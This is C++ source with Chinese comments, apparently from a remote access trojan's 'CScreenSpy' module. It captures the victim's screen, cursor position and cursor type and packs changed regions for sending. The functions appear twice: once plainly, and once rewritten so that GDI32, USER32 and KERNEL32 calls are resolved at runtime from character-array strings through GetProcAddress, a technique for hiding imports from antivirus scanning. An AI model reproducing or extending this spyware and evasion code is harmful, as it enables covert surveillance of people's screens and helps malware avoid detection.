LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
static LONG nOldCursorPosY = 0;
if (lpdwBytes == NULL || m_rectBuffer == NULL)
return NULL;
SelectInputWinStation();
// 重置rect缓冲区指针
m_rectBufferOffset = 0;
// 写入使用了哪种算法
WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
// 写入光标位置
POINT CursorPos;
GetCursorPos(&CursorPos);
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
// 写入当前光标类型
BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
// 差异比较算法
if (m_bAlgorithm == ALGORITHM_DIFF)
{
// 分段扫描全屏幕
ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight);
*lpdwBytes = m_rectBufferOffset +
Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage);
return m_rectBuffer;
}
// 鼠标位置发变化并且热点区域如果发生变化，以(发生变化的行 + DEF_STEP)向下扫描
// 向上提
int nHotspot = max(0, CursorPos.y - DEF_STEP);
for (
int i = ((CursorPos.y != nOldCursorPosY) && ScanChangedRect(nHotspot)) ? (nHotspot + DEF_STEP) : m_nStartLine;
i < m_nFullHeight;
i += DEF_STEP
)
{
if (ScanChangedRect(i))
{
i += DEF_STEP;
}
}
nOldCursorPosY = CursorPos.y;
m_nStartLine = (m_nStartLine + 3) % DEF_STEP;
*lpdwBytes = m_rectBufferOffset;
// 限制发送帧的速度
while (GetTickCount() - m_dwLastCapture < m_dwSleep)
Sleep(10);
InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount());
return m_rectBuffer;
}
void CScreenSpy::CopyRect( LPRECT lpRect )
{
int nRectWidth = lpRect->right - lpRect->left;
int nRectHeight = lpRect->bottom - lpRect->top;
LPVOID lpvRectBits = NULL;
// 调整m_lpbmi_rect
m_lpbmi_rect->bmiHeader.biWidth = nRectWidth;
m_lpbmi_rect->bmiHeader.biHeight = nRectHeight;
m_lpbmi_rect->bmiHeader.biSizeImage = (((m_lpbmi_rect->bmiHeader.biWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3)
* m_lpbmi_rect->bmiHeader.biHeight;
HBITMAP hRectBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_rect, DIB_RGB_COLORS, &lpvRectBits, NULL, NULL);
::SelectObject(m_hRectMemDC, hRectBitmap);
::BitBlt(m_hFullMemDC, lpRect->left, lpRect->top, nRectWidth, nRectHeight, m_hFullDC, lpRect->left, lpRect->top, m_dwBitBltRop);
::BitBlt(m_hRectMemDC, 0, 0, nRectWidth, nRectHeight, m_hFullMemDC, lpRect->left, lpRect->top, SRCCOPY);
WriteRectBuffer((LPBYTE)lpRect, sizeof(RECT));
WriteRectBuffer((LPBYTE)lpvRectBits, m_lpbmi_rect->bmiHeader.biSizeImage);
DeleteObject(hRectBitmap);
}
void CScreenSpy::CopyRect( LPRECT lpRect )
{
int nRectWidth = lpRect->right - lpRect->left;
int nRectHeight = lpRect->bottom - lpRect->top;
LPVOID lpvRectBits = NULL;
// 调整m_lpbmi_rect
m_lpbmi_rect->bmiHeader.biWidth = nRectWidth;
m_lpbmi_rect->bmiHeader.biHeight = nRectHeight;
m_lpbmi_rect->bmiHeader.biSizeImage = (((m_lpbmi_rect->bmiHeader.biWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3)
* m_lpbmi_rect->bmiHeader.biHeight;
char DYrEN72[] = {'C','r','e','a','t','e','D','I','B','S','e','c','t','i','o','n','\0'};
CreateDIBSectionT pCreateDIBSection=(CreateDIBSectionT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN72);
// HBITMAP hRectBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_rect, DIB_RGB_COLORS, &lpvRectBits, NULL, NULL);
HBITMAP hRectBitmap = pCreateDIBSection(m_hFullDC, m_lpbmi_rect, DIB_RGB_COLORS, &lpvRectBits, NULL, NULL);
char DYrEN80[] = {'S','e','l','e','c','t','O','b','j','e','c','t','\0'};
SelectObjectT pSelectObject=(SelectObjectT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN80);
// ::SelectObject(m_hRectMemDC, hRectBitmap);
pSelectObject(m_hRectMemDC, hRectBitmap);
char DYrEN91[] = {'B','i','t','B','l','t','\0'};
BitBltT pBitBlt=(BitBltT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN91);
// ::BitBlt(m_hFullMemDC, lpRect->left, lpRect->top, nRectWidth, nRectHeight, m_hFullDC, lpRect->left, lpRect->top, m_dwBitBltRop);
// ::BitBlt(m_hRectMemDC, 0, 0, nRectWidth, nRectHeight, m_hFullMemDC, lpRect->left, lpRect->top, SRCCOPY);
pBitBlt(m_hFullMemDC, lpRect->left, lpRect->top, nRectWidth, nRectHeight, m_hFullDC, lpRect->left, lpRect->top, m_dwBitBltRop);
pBitBlt(m_hRectMemDC, 0, 0, nRectWidth, nRectHeight, m_hFullMemDC, lpRect->left, lpRect->top, SRCCOPY);
WriteRectBuffer((LPBYTE)lpRect, sizeof(RECT));
WriteRectBuffer((LPBYTE)lpvRectBits, m_lpbmi_rect->bmiHeader.biSizeImage);
char DYrEN78[] = {'D','e','l','e','t','e','O','b','j','e','c','t','\0'};
DeleteObjectT pDeleteObject=(DeleteObjectT)GetProcAddress(LoadLibrary("GDI32.dll"),DYrEN78);
pDeleteObject(hRectBitmap);
}
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
static LONG nOldCursorPosY = 0;
if (lpdwBytes == NULL || m_rectBuffer == NULL)
return NULL;
SelectInputWinStation();
// 重置rect缓冲区指针
m_rectBufferOffset = 0;
// 写入使用了哪种算法
WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
// 写入光标位置
POINT CursorPos;
char CtxPW58[] = {'G','e','t','C','u','r','s','o','r','P','o','s','\0'};
GetCursorPosT pGetCursorPos=(GetCursorPosT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW58);
pGetCursorPos(&CursorPos);
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
// 写入当前光标类型
BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
// 差异比较算法
if (m_bAlgorithm == ALGORITHM_DIFF)
{
// 分段扫描全屏幕
ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight);
*lpdwBytes = m_rectBufferOffset +
Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage);
return m_rectBuffer;
}
// 鼠标位置发变化并且热点区域如果发生变化，以(发生变化的行 + DEF_STEP)向下扫描
// 向上提
int nHotspot = max(0, CursorPos.y - DEF_STEP);
for (
int i = ((CursorPos.y != nOldCursorPosY) && ScanChangedRect(nHotspot)) ? (nHotspot + DEF_STEP) : m_nStartLine;
i < m_nFullHeight;
i += DEF_STEP
)
{
if (ScanChangedRect(i))
{
i += DEF_STEP;
}
}
nOldCursorPosY = CursorPos.y;
m_nStartLine = (m_nStartLine + 3) % DEF_STEP;
*lpdwBytes = m_rectBufferOffset;
char DYrEN70[] = {'G','e','t','T','i','c','k','C','o','u','n','t','\0'};
GetTickCountT pGetTickCount=(GetTickCountT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN70);
// 限制发送帧的速度
char FBwWp25[] = {'S','l','e','e','p','\0'};
SleepT pSleep=(SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp25);
while (pGetTickCount() - m_dwLastCapture < m_dwSleep)
pSleep(1);
char SSzlC21[] = {'I','n','t','e','r','l','o','c','k','e','d','E','x','c','h','a','n','g','e','\0'};
InterlockedExchangeT pInterlockedExchange=(InterlockedExchangeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),SSzlC21);
pInterlockedExchange((LPLONG)&m_dwLastCapture, pGetTickCount());
return m_rectBuffer;
}
